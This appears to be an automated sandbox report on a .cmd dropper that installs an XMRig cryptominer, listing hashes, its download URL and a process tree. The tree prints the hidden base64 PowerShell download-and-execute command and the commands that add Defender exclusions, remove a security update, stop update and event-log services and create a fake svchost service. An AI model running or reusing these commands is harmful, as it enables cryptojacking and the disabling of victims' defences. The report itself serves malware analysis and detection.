Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-01-2025 08:09

General

  • Target

    1360212e053f0c7cfad357be61c1e591e4b35842c020279f08b3590705cc1321.cmd

  • Size

    400B

  • MD5

    2eeefd9c6e45d4aa21861b1296f67585

  • SHA1

    a946bbc6ddecbfc98e418f5cd268fd9e31012f21

  • SHA256

    1360212e053f0c7cfad357be61c1e591e4b35842c020279f08b3590705cc1321

  • SHA512

    ae169104fd73052c11deadc0b3470e6a64e53edc17818e75576c0077eef27a7633c6c94ea96f9ebfe4321f6184d448dd9b218aee35e6ffea40a446308af844e0

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://biteblob.com/Download/J4wO2GduKNJmX3/build.exe

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Creates new service(s) 2 TTPs
  • Downloads MZ/PE file 1 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 11 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 50 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 20 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1360212e053f0c7cfad357be61c1e591e4b35842c020279f08b3590705cc1321.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:400
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "Invoke-Expression ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JHVybCA9ICJodHRwczovL2JpdGVibG9iLmNvbS9Eb3dubG9hZC9KNHdPMkdkdUtOSm1YMy9idWlsZC5leGUiCiRmaWxlID0gIiRlbnY6VEVNUFxmaWxlLmV4ZSIKSW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkdXJsIC1PdXRGaWxlICRmaWxlClN0YXJ0LVByb2Nlc3MgIiRlbnY6VEVNUFxmaWxlLmV4ZSI=')))"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Downloads MZ/PE file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3604
      • C:\Users\Admin\AppData\Local\Temp\file.exe
        "C:\Users\Admin\AppData\Local\Temp\file.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1916
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2096
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2508
          • C:\Windows\system32\wusa.exe
            wusa /uninstall /kb:890830 /quiet /norestart
            5⤵
              PID:5000
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop UsoSvc
            4⤵
            • Launches sc.exe
            PID:3740
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop WaaSMedicSvc
            4⤵
            • Launches sc.exe
            PID:8
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop wuauserv
            4⤵
            • Launches sc.exe
            PID:1436
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop bits
            4⤵
            • Launches sc.exe
            PID:4660
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop dosvc
            4⤵
            • Launches sc.exe
            PID:1692
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:1188
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:696
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:3188
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:1108
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe delete "NPYIAYNC"
            4⤵
            • Launches sc.exe
            PID:3352
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe create "NPYIAYNC" binpath= "C:\ProgramData\Microsoft\svchost.exe" start= "auto"
            4⤵
            • Launches sc.exe
            PID:3292
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop eventlog
            4⤵
            • Launches sc.exe
            PID:1256
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe start "NPYIAYNC"
            4⤵
            • Launches sc.exe
            PID:4308
    • C:\ProgramData\Microsoft\svchost.exe
      C:\ProgramData\Microsoft\svchost.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3808
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1972
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3000
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
            PID:2240
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          2⤵
          • Launches sc.exe
          PID:2164
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop WaaSMedicSvc
          2⤵
          • Launches sc.exe
          PID:436
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop wuauserv
          2⤵
          • Launches sc.exe
          PID:2784
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop bits
          2⤵
          • Launches sc.exe
          PID:4620
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop dosvc
          2⤵
          • Launches sc.exe
          PID:976
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:4948
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:1028
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:3952
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:3896
        • C:\Windows\system32\conhost.exe
          C:\Windows\system32\conhost.exe
          2⤵
            PID:740
          • C:\Windows\system32\svchost.exe
            svchost.exe
            2⤵
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2528

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          556084f2c6d459c116a69d6fedcc4105

          SHA1

          633e89b9a1e77942d822d14de6708430a3944dbc

          SHA256

          88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

          SHA512

          0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          d5a6408e58a8e6cdcac441b2724bdeea

          SHA1

          c32347262903a5db5422c41c280fe975731155a1

          SHA256

          6927aa1bd6f5b470b786b77ac7deac1ac4afcfa7650bc5c72358b3e8462e32d3

          SHA512

          f630fa6616ed5aeb1c875f1573de5ca3db917ff6b2d5cb8d3da37ae9e45104a8ebf46b2504d1281b9d3b6705bbf3422c9b40c20b64417ef932c68b314e3aee14

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g0gmqyeb.u4f.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\file.exe

          Filesize

          5.0MB

          MD5

          edc717098fd951b194c3960c5f263926

          SHA1

          8bb07cc625819cba2cba6b244ee4c4ca627caabe

          SHA256

          278e58b92de21972a1a0384ced195d043e5fa94b1ed6301b18cfc93554df5a73

          SHA512

          35ed392351161fbd1372119fde8bad1b3c0a709c24675913cbfc981ccd81297762520d99da41d8922206bce7b33619f8697cd997607152e59ec2d9a656d3b0ae

        • memory/740-82-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/740-75-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/740-76-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/740-77-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/740-78-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/740-79-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/1972-70-0x0000020D58DA0000-0x0000020D58DA6000-memory.dmp

          Filesize

          24KB

        • memory/1972-68-0x0000020D58DC0000-0x0000020D58DDA000-memory.dmp

          Filesize

          104KB

        • memory/1972-71-0x0000020D58DB0000-0x0000020D58DBA000-memory.dmp

          Filesize

          40KB

        • memory/1972-69-0x0000020D58D70000-0x0000020D58D78000-memory.dmp

          Filesize

          32KB

        • memory/1972-74-0x0000020D58630000-0x0000020D5884C000-memory.dmp

          Filesize

          2.1MB

        • memory/1972-63-0x0000020D58600000-0x0000020D5861C000-memory.dmp

          Filesize

          112KB

        • memory/1972-64-0x0000020D58B50000-0x0000020D58C05000-memory.dmp

          Filesize

          724KB

        • memory/1972-65-0x0000020D58C10000-0x0000020D58C1A000-memory.dmp

          Filesize

          40KB

        • memory/1972-66-0x0000020D58D80000-0x0000020D58D9C000-memory.dmp

          Filesize

          112KB

        • memory/1972-67-0x0000020D58D60000-0x0000020D58D6A000-memory.dmp

          Filesize

          40KB

        • memory/2096-41-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

          Filesize

          10.8MB

        • memory/2096-27-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

          Filesize

          10.8MB

        • memory/2096-38-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

          Filesize

          10.8MB

        • memory/2096-37-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

          Filesize

          10.8MB

        • memory/2528-86-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2528-91-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2528-97-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2528-96-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2528-94-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2528-95-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2528-84-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2528-85-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2528-83-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2528-92-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2528-90-0x00000239E1990000-0x00000239E19B0000-memory.dmp

          Filesize

          128KB

        • memory/2528-93-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2528-88-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2528-89-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2528-87-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/3604-0-0x00007FFAA2AA3000-0x00007FFAA2AA5000-memory.dmp

          Filesize

          8KB

        • memory/3604-25-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

          Filesize

          10.8MB

        • memory/3604-10-0x0000024E76520000-0x0000024E76542000-memory.dmp

          Filesize

          136KB

        • memory/3604-11-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

          Filesize

          10.8MB

        • memory/3604-12-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

          Filesize

          10.8MB

        • memory/3604-13-0x00007FFAA2AA3000-0x00007FFAA2AA5000-memory.dmp

          Filesize

          8KB

        • memory/3604-14-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

          Filesize

          10.8MB